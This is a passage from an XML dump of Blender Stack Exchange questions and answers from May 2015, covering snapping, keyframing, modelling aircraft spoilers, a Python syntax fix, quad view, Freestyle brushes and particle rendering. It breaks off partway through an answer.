  <row Id="31208" PostTypeId="2" ParentId="31206" CreationDate="2015-05-20T22:00:57.230" Score="3" Body="&lt;p&gt;this is because you have &lt;strong&gt;Increment Snapping&lt;/strong&gt; enabled. to solve, simply disable this function by clicking on the little magnet at the bottom of the screen or hitting &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vBQOD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-05-20T22:00:57.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31209" PostTypeId="1" CreationDate="2015-05-20T22:17:47.400" Score="3" ViewCount="215" Body="&lt;p&gt;A Maya user asked me if it is possible to do this in blender: slow or accelerate a movement, rotation, etc. by grabbing a frame (not necessarily a keyframe) into the timeline, the graph editor or the dope sheet, and Maya automatically creates a new keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender you can go to any frame where the wanted pose is, insert a keyframe and then move it to the wanted location, but in Maya you can do it by a single click (grabbing the frame where the wanted pose is, to a different location in your timeline) which saves a lot of time when you are animating and need to test different times and speeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a way to do this in blender? I mean, the one single click stuff? thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="14492" LastEditorUserId="14492" LastEditDate="2015-05-21T22:11:38.320" LastActivityDate="2015-05-21T22:11:38.320" Title="animation: edit the way an object moves by grabbing the pose in the curve editor or graph editor" Tags="&lt;animation&gt;&lt;dopesheet&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31210" PostTypeId="2" ParentId="31150" CreationDate="2015-05-20T22:42:50.810" Score="3" Body="&lt;p&gt;This is what I did.  The oval is a path. I attached each square object as a helper and offset them evenly around the path.  Then I attached a bone to the helper.  It's simple but I did the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7X78n.jpg&quot; alt=&quot;solution to chainsaw problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14474" LastActivityDate="2015-05-20T22:42:50.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31211" PostTypeId="1" CreationDate="2015-05-20T23:10:13.380" Score="0" ViewCount="205" Body="&lt;p&gt;I've read documentation and StackExchange for two days or more and installed 2.74, but I'm still lost.  I watched one Warp tutorial which appeared to do what I wanted, which is to create a bridge between the two objects, but I couldn't duplicate the result.  I got some modification between the end points, but no fill.&#xA;The objects which I'm working with present matching planes, but if one were scaled, that would be my next question.  Also, the &quot;curve&quot; option of warp seems to be what I need, but there should also be some rotation to get a smooth transition between the two objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/x44ua54ac1pvfnm/warp.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/x44ua54ac1pvfnm/warp.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 90 degree question and bending pipe didn't answer my question.  @cegaton suggested the following as a possible solution.  This may be the answer, but it may also be beyond my life expectancy to implement.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/28190/a-problem-with-blenders-bridge-edge-loops-system&quot;&gt;A problem with Blender&amp;#39;s Bridge Edge Loops system&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What a comprehensive user friendly program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The succinct statement of my problem may be: join two faces whose normals don't with a projection of a user shape.&lt;br&gt;&#xA;Can curve, bend or warp do that?  I haven't been able to do that, and, from Allen's post, doubt that they can.&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-05-23T16:28:13.480" Title="Will Warp bridge these two objects?" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="31212" PostTypeId="1" CreationDate="2015-05-20T23:10:28.800" Score="1" ViewCount="671" Body="&lt;p&gt;I'm working on a character, but I've run into an issue on how I would make &quot;strap&quot; clothing like a belt or a vambrace, preferably that the character can remove at times.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m1dUo.jpg&quot; alt=&quot;Like Sintel&amp;#39;s belt and bits of armor.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Sintel's belt and bits of armor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, though it's not required, how do I make things ON the belt itself? Like a knife sheath strapped on to it.&lt;/p&gt;&#xA;" OwnerUserId="13639" LastEditorUserId="2217" LastEditDate="2015-06-01T23:59:02.663" LastActivityDate="2015-08-31T01:18:36.403" Title="How to create straps on character clothing?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31213" PostTypeId="1" CreationDate="2015-05-21T00:07:39.377" Score="1" ViewCount="230" Body="&lt;p&gt;So I'm trying to make my camera follow a spaceship around, so I've tried parenting it to the rear of the ship. However, doing this causes the game to just display a grey rectangle when playing through the camera view. Unparenting the camera resolves the issue. Has anyone seen anything like this?&lt;img src=&quot;https://i.stack.imgur.com/de9Ho.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQhYz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14486" LastActivityDate="2015-05-21T00:07:39.377" Title="Objects won't render when camera is parented to an object" Tags="&lt;rendering&gt;&lt;camera&gt;&lt;parent&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31214" PostTypeId="1" CreationDate="2015-05-21T00:33:02.103" Score="2" ViewCount="228" Body="&lt;p&gt;I'm having trouble wrapping my head around how information flows through PyNodes.. Where/how should I set the value of my node's output sockets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to implement this in my node's update method. My idea is that I should be able to access the value of the input sockets, do something with the values, then set the value of the output sockets. My problem is that it doesn't appear that the NodeSocket class actually stores values anywhere.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I access the value in my node's input sockets?&lt;/li&gt;&#xA;&lt;li&gt;Where should I implement the actual processing that my node should be responsible for?&lt;/li&gt;&#xA;&lt;li&gt;How can I set the value of my node's output sockets?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-05-21T00:33:02.103" Title="Where are PyNode socket values stored?" Tags="&lt;pynodes&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31215" PostTypeId="1" AcceptedAnswerId="31234" CreationDate="2015-05-21T00:44:24.153" Score="2" ViewCount="686" Body="&lt;p&gt;I'm trying to model an airplane wing. I've already done the main wing body and the flaps, and I'm on my way to model the spoilers (the plates extending upwards):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VrDKD.jpg&quot; alt=&quot;airplane wing on landing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about extruding these plates out of the wing body? I've tried extruding these edges but they get into a weird orientation and I can't align it with the wing's surface. How can I do this maintaining a good topology?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my reference image (notice how the spoilers cover the flaps' leading edge):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rMnyi.jpg&quot; alt=&quot;a320-200 blueprints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rMnyi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36159&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3143" LastEditorUserId="32220" LastEditDate="2019-01-20T21:41:35.927" LastActivityDate="2019-01-20T21:41:35.927" Title="How do I model these spoilers?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31216" PostTypeId="1" CreationDate="2015-05-21T00:53:59.560" Score="2" ViewCount="824" Body="&lt;p&gt;I did everything right from the &lt;a href=&quot;https://www.youtube.com/watch?v=JDaSk2mX7HU&quot; rel=&quot;nofollow&quot;&gt;Monstercat Audio Visualization tutorial&lt;/a&gt;, but when I say run script, line 27 is said to be a syntax error. Here is the entire script. What am I doing wrong? I checked for commas instead of periods, even retyped it, checked mine against the video. Not sure what else to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for i in range(0,64):&#xA;&#xA;    bpy.ops.mesh.primitive_plane_add(location = ((i + (i*0.5))), 0, 0)&#xA;    bpy.context.scene.cursor_location = bpy.context.active_object.location&#xA;    bpy.context.scene.cursor_location.y -= 1&#xA;    bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;&#xA;    bpy.context.active_object.scale.x = 0.5&#xA;    bpy.context.active_object.scale.y = 20&#xA;    bpy.ops.object.transform_apply(location=False, rotation=False, scale=True)&#xA;&#xA;    bpy.ops.anim.keyframe_insert_menu(type='Scaling')&#xA;    bpy.context.active_object.animation_data.action.fcurves[0].lock = True&#xA;    bpy.context.active_object.animation_dada.action.fcurves[2].lock = True&#xA;&#xA;    bpy.context.area.type = 'GRAPH_EDITOR'&#xA;&#xA;    l = i**2 + 20&#xA;    h = (i*1)**2 + 20&#xA;&#xA;    print(str(i) + str(l) + str(h))&#xA;&#xA;    bpy.ops.graph.sound_bake(filepath=r'C:\Users\H20\Videos\Youtube\Onyx Leaf\Nightcore\Take Me To Church\Take Me To Church.mp4' , low = (l), high = (h)&#xA;&#xA;    bpy.context.active_object.animation_data.action.fcurves[1].lock = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14493" LastEditorUserId="13843" LastEditDate="2015-05-21T03:18:47.777" LastActivityDate="2015-12-05T19:04:51.557" Title="unknown syntax error in python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31217" PostTypeId="1" AcceptedAnswerId="31231" CreationDate="2015-05-21T01:08:52.320" Score="2" ViewCount="575" Body="&lt;p&gt;How do I extrude so that the circle moves inwards like at 13:04 in &lt;a href=&quot;https://www.youtube.com/watch?v=xU_pi1UxISs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=xU_pi1UxISs&lt;/a&gt;? When I do it the vertices just move up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ErJFO.png&quot; alt=&quot;before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fmiwu.png&quot; alt=&quot;after&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14421" LastActivityDate="2015-05-23T02:49:03.390" Title="How to extrude properly?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31219" PostTypeId="2" ParentId="31216" CreationDate="2015-05-21T02:13:21.350" Score="7" Body="&lt;p&gt;Line 25 is missing a closing bracket. Python assumes line 27 is part of the &lt;code&gt;high = (h)&lt;/code&gt; parameter to the &lt;code&gt;sound_bake()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bpy.ops.graph.sound_bake(filepath=r'path/to/file' , low = (l), high = (h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bpy.ops.graph.sound_bake(filepath=r'path/to/file' , low = (l), high = (h))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13843" LastActivityDate="2015-05-21T02:13:21.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31220" PostTypeId="1" CreationDate="2015-05-21T02:16:14.490" Score="1" ViewCount="49" Body="&lt;p&gt;I'm trying to use the boolean difference tool to cut holes in a plane with a mesh. Whenever I try I end up with a weird 3d object completely different from the plane that I'm looking for. Am I approaching this in the wrong way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ectLS.png&quot; alt=&quot;The shape I&amp;#39;m trying to cut out of the plane&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UX0CM.png&quot; alt=&quot;The result of the boolean difference modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14473" LastActivityDate="2015-05-21T02:16:14.490" Title="How to cut holes in a plane with multiple meshes without adding to the plane?" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-05-23T14:59:10.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="31221" PostTypeId="1" AcceptedAnswerId="31223" CreationDate="2015-05-21T02:44:04.070" Score="8" ViewCount="1039" Body="&lt;p&gt;After I toggle the quad view, how can I maximize the front or any other ortho views? Just the CTRL + Up only hides some panels but it doesn't maximizes the view completely like the perspective view gets maximized.&lt;/p&gt;&#xA;" OwnerUserId="14498" LastEditorUserId="92768" LastEditDate="2020-08-06T20:44:00.377" LastActivityDate="2020-08-06T20:44:00.377" Title="How to maximize a view from quad view (ex. front ortho)?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31223" PostTypeId="2" ParentId="31221" CreationDate="2015-05-21T03:33:14.203" Score="9" Body="&lt;p&gt;In Quad View, you have to toggle off the &lt;strong&gt;Lock&lt;/strong&gt; button first, then move the mouse cursor over one of the four views, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;Q&lt;/kbd&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DP6Us.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-05-21T03:33:14.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31225" PostTypeId="1" AcceptedAnswerId="31246" CreationDate="2015-05-21T03:51:55.440" Score="4" ViewCount="1626" Body="&lt;p&gt;Instead of a solid &quot;pen&quot; line, I would like Freestyle to use a custom brush, that is an image file (e.g. PNG) that I create. I found this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14737/blender-freestyle-brushes?newreg=a08facca8d2948c6a3f44ad7c4fad07d&quot;&gt;Blender Freestyle Brushes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And read his link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Freestyle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Help doc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it does not work. I added a LineStyle Texture layer and selected my PNG image as the Single Image Source (Mapping = Along stroke). But when I render it is the same default &quot;pen&quot; line and not my custom brush image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you do a custom brush?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---- updates below (after trying T.K.'s suggestions):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I try to copy all of the settings from the teapot and then use my own brush. But that did not work at all. Here is what that looked like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HTDgI.png&quot; alt=&quot;attempt 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9NEA3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, next I try to just use the teapot file and change the brush image to by brush image and this is what I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mPXIH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seem to be repeating the texture instead of sliding it along like a brush?? And it is also opposite (invert?) color? The round flat part is see-through instead of the black part. So I try the “invert” under image sampling and that did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seem to be filling the line with a texture instead of using the image as a brush. How do I use an image as a brush, like in the example picture I give?&lt;/p&gt;&#xA;" OwnerUserId="14500" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-05-25T05:54:45.533" Title="How to do custom Freestyle brush shape in Blender 2.74?" Tags="&lt;blender-internal-render-engine&gt;&lt;freestyle&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31226" PostTypeId="2" ParentId="31196" CreationDate="2015-05-21T03:53:48.080" Score="1" Body="&lt;p&gt;I'd make a multi-layer image out with your current result as the base layer, and then a layer on top of that (also with a cloud texture) and have the brights maxed out and the darks pushed down. You could use either a contrast node or an S-curve in an RGB node to do this.&lt;/p&gt;&#xA;" OwnerUserId="14501" LastActivityDate="2015-05-21T03:53:48.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31228" PostTypeId="2" ParentId="31193" CreationDate="2015-05-21T04:00:10.080" Score="0" Body="&lt;p&gt;You may want to apply (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) the location of both your camera and the object it's parented to, to get rid of any positioning discrepancies during runtime.&lt;/p&gt;&#xA;" OwnerUserId="14501" LastEditorDisplayName="user1853" LastEditDate="2015-05-22T02:51:47.107" LastActivityDate="2015-05-22T02:51:47.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31230" PostTypeId="2" ParentId="31202" CreationDate="2015-05-21T05:29:42.957" Score="3" Body="&lt;p&gt;Also beware that node group copies, between active scenes within a project, are not unique.  If you edit a value inside the node group of one scene then it will be charged in the other scenes. To fix it break open the local node group first.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-05-21T05:29:42.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31231" PostTypeId="2" ParentId="31217" CreationDate="2015-05-21T05:36:03.477" Score="6" Body="&lt;p&gt;It looks like you forgot to enable your subsurf modifier by clicking the eye icon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kpnq7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right before then he enables the subsurf modifier, which causes the smooth subdivided interpolation of the mesh you are seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that since the subsurf modifier is a &lt;em&gt;modifier&lt;/em&gt;, you can enable it and disable it whenever you want without having to worry about doing it before or after various modeling operations. In other words, you &lt;em&gt;have&lt;/em&gt; extruded it correctly, it just won't display the subdivided mesh until you enable the modifier.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-05-21T06:24:48.497" LastActivityDate="2015-05-21T06:24:48.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31233" PostTypeId="1" AcceptedAnswerId="31381" CreationDate="2015-05-21T07:37:51.167" Score="2" ViewCount="1273" Body="&lt;p&gt;I understand that there is viewport sync lag, but this question takes that into account. I have animated particles that should move around on the surface of my text object with a Brownian force. For some reason though, what I see when I playback the animation in the viewport or when I render the OpenGL Animation is different than the render output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the render I get particles flying all over the rendered animation. I get this consistently as I have set up similar scenes. How do I stop this from happening and why is it not WYSIWYG?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/6647893/NotWYSIWYG/OpenGL.avi&quot; rel=&quot;nofollow&quot;&gt;OpenGL Render&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/6647893/NotWYSIWYG/ScreenCaptureRealtime.wmv&quot; rel=&quot;nofollow&quot;&gt;Realtime Screen Capture of Animation Playback&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/6647893/NotWYSIWYG/Render.avi&quot; rel=&quot;nofollow&quot;&gt;Render&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/6647893/NotWYSIWYG/ParticleMovementTest.zip&quot; rel=&quot;nofollow&quot;&gt;Blend file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Steps to reproduce:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Text object (rotate in the X axis -90 degrees)&lt;/li&gt;&#xA;&lt;li&gt;Text Object &gt; Data Panel &gt; Geometry Settings:&lt;/li&gt;&#xA;&lt;li&gt;Extrude: 0.20&lt;/li&gt;&#xA;&lt;li&gt;Bevel &gt; Depth: 0.01&lt;/li&gt;&#xA;&lt;li&gt;Bevel &gt; Resolution: 4&lt;/li&gt;&#xA;&lt;li&gt;Convert Text to Mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Remove Doubles (Text &gt; Edit Mode &gt; Select All &gt; Specials (&lt;kbd&gt;W&lt;/kbd&gt;) &gt; Remove Doubles)&lt;/li&gt;&#xA;&lt;li&gt;Switch to Cycles Render&lt;/li&gt;&#xA;&lt;li&gt;Apply material to Text Object&lt;/li&gt;&#xA;&lt;li&gt;Create Ico Sphere and move to Layer 2&lt;/li&gt;&#xA;&lt;li&gt;Duplicate Ico Spheres until there are 5&lt;/li&gt;&#xA;&lt;li&gt;Apply different color material to each&lt;/li&gt;&#xA;&lt;li&gt;Group Ico Spheres&lt;/li&gt;&#xA;&lt;li&gt;Text Object&gt;Particle Panel &gt; New&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Particle Panel Settings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Emission&gt;Number: 5000&lt;/li&gt;&#xA;&lt;li&gt;Emission &gt; Start: 1&lt;/li&gt;&#xA;&lt;li&gt;Emission &gt; End: 1&lt;/li&gt;&#xA;&lt;li&gt;Emission &gt; Lifetime:165&lt;/li&gt;&#xA;&lt;li&gt;Emission &gt; Emit From: Faces (Random and Even Distribution checked)&lt;/li&gt;&#xA;&lt;li&gt;Random selected (tried on and off)&lt;/li&gt;&#xA;&lt;li&gt;Velocity &gt; Normal:0&lt;/li&gt;&#xA;&lt;li&gt;Physics &gt; Newtonian &gt; Forces &gt; Brownian: 0.01&lt;/li&gt;&#xA;&lt;li&gt;Physics &gt; Newtonian &gt; Forces &gt; Damp: 0.1&lt;/li&gt;&#xA;&lt;li&gt;Render &gt; Group &gt; Dupli Group: Group containing 5 icospheres&lt;/li&gt;&#xA;&lt;li&gt;Render &gt; Group &gt; Dupli Group &gt; Size: 0.01&lt;/li&gt;&#xA;&lt;li&gt;Field Weights &gt; Gravity: 0.00&lt;/li&gt;&#xA;&lt;li&gt;Vertex Groups &gt; Density: Vertex Group called Particles containing front of text (not in test scene...still get weirdness)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add Camera&lt;/li&gt;&#xA;&lt;li&gt;Create Mesh Light&lt;/li&gt;&#xA;&lt;li&gt;Set End of Animation to 165 (30 FPS)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-05-21T16:51:58.200" LastActivityDate="2015-05-24T05:13:39.237" Title="Why is what I am seeing in my particle effect animation playback, not what I get when I render it?" Tags="&lt;animation&gt;&lt;3d-view&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31234" PostTypeId="2" ParentId="31215" CreationDate="2015-05-21T08:13:28.640" Score="6" Body="&lt;p&gt;The problem is, in your mesh model and as shown in the images, the mesh making up the wing tapers from the fat end to the narrow wing tip.  This makes the lines appear, kind of, parallel but they are just straight lines with various angles at different x,y,z levels, so when you extrude, the extrusion stays at a right angle (normal) to the lines being extruded from; but, while the long(itudinal) edges are mostly parallel, the (latitudinal) edges of the flap or any other part of the wing change in the XY axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words each line making up the wing and flap have a similar vanishing points (are nearly parallel), to make the streamline wing, but they are not aligned to the extrusion point.  So, it's not possible to extrude along the normal, and end up aligned with the flap or other points on the wing; but, you can edit the verts, or edges you extrude from the surface, to make them align.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I would do it. Read this first, I have put step by step instructions below this talk through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While looking (top view) down on the plane, in vertex select mode, select the verts that represent the width of the spoiler you want to make, where you want to start the extrude. (With the instructions below, we're going to end up with single plane aligned the way you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the wing from the side view, extrude the verts at the approximate angle you wish toward the flaps (a combination of X &amp;amp; Y axis). This will give two edges at the angle you want (temporarily) above the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will now have two edges, two verts each; two are part the wing edge, and two at some height above the z-axis at an angle toward the flaps, but not yet what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go back to the top view. We're still in vertex select mode; but, we want, snap to vertex ON, and select vertex, (the magnet 'snap during transform' or use &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;, and 'type of element to snap to: vertex' (right next to the magnet, select vertex).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will first need to select one of the two end verts of one of the two extruded edges, then press key &lt;kbd&gt;G&lt;/kbd&gt; (grab), then degress of freedom for X &amp;amp; Y axis by &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; [this says, freedom to move in X&amp;amp;Y but not Z axis.] This will allow you to retain your Z-axis (height of that vert above the wing or flap), but will allow you to snap to one of the verts that are part of the wing (or flap), without actually snapping to the wing (or flap)!  So, you have grabbed, and set X &amp;amp; Y axis (not Z), now move to the correct vert, you may have to move your pointer around till you see it snap to the one you want.  Once it has snapped to the vert you want, click to set it.  Now, do the same for the other vert of the 2nd extruded edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn off snap to: (magnet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a face in the usual manner, select the four verts of the extruded edge, and press &lt;kbd&gt;F&lt;/kbd&gt; to make face.  You can now edit as you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: If you need to adjust the z axis, just select the two verts, press &lt;kbd&gt;G&lt;/kbd&gt; &gt; &lt;kbd&gt;Z&lt;/kbd&gt; to only move them along the Z axis to adjust the angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the steps and modified blend: &lt;a href=&quot;http://www.pasteall.org/blend/36162&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36162&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Top view (ortho), (Vertex select mode) select two verts to extrude for spoiler.&lt;/li&gt;&#xA;&lt;li&gt;Side view (ortho), extrude in the general directions and angle you want.&lt;/li&gt;&#xA;&lt;li&gt;Turn on Snap to (magnet) and vertex in the bottom menu.&lt;/li&gt;&#xA;&lt;li&gt;Top view (ortho), &lt;kbd&gt;G&lt;/kbd&gt; to grab one of the verts, &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; (select X,Y axis)&lt;/li&gt;&#xA;&lt;li&gt;Move pointer to vert to snap to: may have to wiggle pointer around to get it to snap to the vert you want.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;LMB&lt;/kbd&gt; to set vert.&lt;/li&gt;&#xA;&lt;li&gt;Repeat steps 4-6 for other vert.&lt;/li&gt;&#xA;&lt;li&gt;Turn off Snap to (magnet)&lt;/li&gt;&#xA;&lt;li&gt;If you need to adjust angle&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Top View (ortho), &lt;kbd&gt;Shift&lt;/kbd&gt; + 